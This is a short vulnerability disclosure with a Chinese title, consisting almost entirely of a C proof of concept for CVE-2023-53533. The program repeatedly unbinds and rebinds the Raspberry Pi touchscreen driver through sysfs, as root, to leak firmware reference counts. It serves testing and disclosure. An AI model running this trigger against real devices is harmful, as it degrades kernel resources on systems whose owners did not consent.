CVE-2023-53533 Linux内核树莓派触摸屏驱动引用计数泄漏漏洞

/* * CVE-2023-53533 PoC * Reference count leak in raspberrypi-ts driver rpi_ts_probe() * * This PoC demonstrates how to trigger the reference count leak * by repeatedly causing the rpi_ts_probe function to execute * without proper cleanup of rpi_firmware_get() reference. * * Compile: gcc -o poc poc.c * Run: sudo ./poc [iterations] */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/stat.h> #define DRIVER_PATH "/sys/bus/platform/drivers/raspberrypi-ts" #define DEVICE_NAME "1-0041" #define DEFAULT_ITERATIONS 100 /* Trigger driver bind/unbind operation via sysfs */ int trigger_driver_action(const char *action) { char path[512]; int fd, ret; snprintf(path, sizeof(path), "%s/%s", DRIVER_PATH, action); fd = open(path, O_WRONLY); if (fd < 0) { fprintf(stderr, "[-] Failed to open %s: %s\n", path, strerror(errno)); return -1; } ret = write(fd, DEVICE_NAME, strlen(DEVICE_NAME)); close(fd); if (ret < 0) { fprintf(stderr, "[-] Failed to write to %s: %s\n", path, strerror(errno)); return -1; } return 0; } /* Check if the driver is loaded */ int check_driver_available(void) { struct stat st; if (stat(DRIVER_PATH, &st) != 0) { return 0; } return 1; } int main(int argc, char *argv[]) { int i, iterations = DEFAULT_ITERATIONS; if (argc > 1) { iterations = atoi(argv[1]); if (iterations <= 0) { fprintf(stderr, "[-] Invalid iteration count\n"); return 1; } } printf("[*] CVE-2023-53533 PoC - Reference Count Leak\n"); printf("[*] Target: raspberrypi-ts driver\n\n"); if (!check_driver_available()) { fprintf(stderr, "[-] Driver path not found: %s\n", DRIVER_PATH); fprintf(stderr, "[-] This PoC requires a Raspberry Pi with raspberrypi-ts driver\n"); fprintf(stderr, "[-] Try: sudo modprobe raspberrypi-ts\n"); return 1; } printf("[*] Triggering %d probe iterations to leak firmware references...\n\n", iterations); for (i = 0; i < iterations; i++) { /* Unbind the device to allow re-probe */ if (trigger_driver_action("unbind") == 0) { usleep(10000); /* 10ms delay */ } /* Rebind to trigger rpi_ts_probe() */ trigger_driver_action("bind"); usleep(10000); if ((i + 1) % 10 == 0) { printf("[+] Iteration %d/%d completed\n", i + 1, iterations); } } printf("\n[*] PoC execution completed\n"); printf("[*] Check kernel logs (dmesg) for firmware reference warnings\n"); printf("[*] Monitor /sys/kernel/debug/rpi_firmware/info for reference count\n"); return 0; }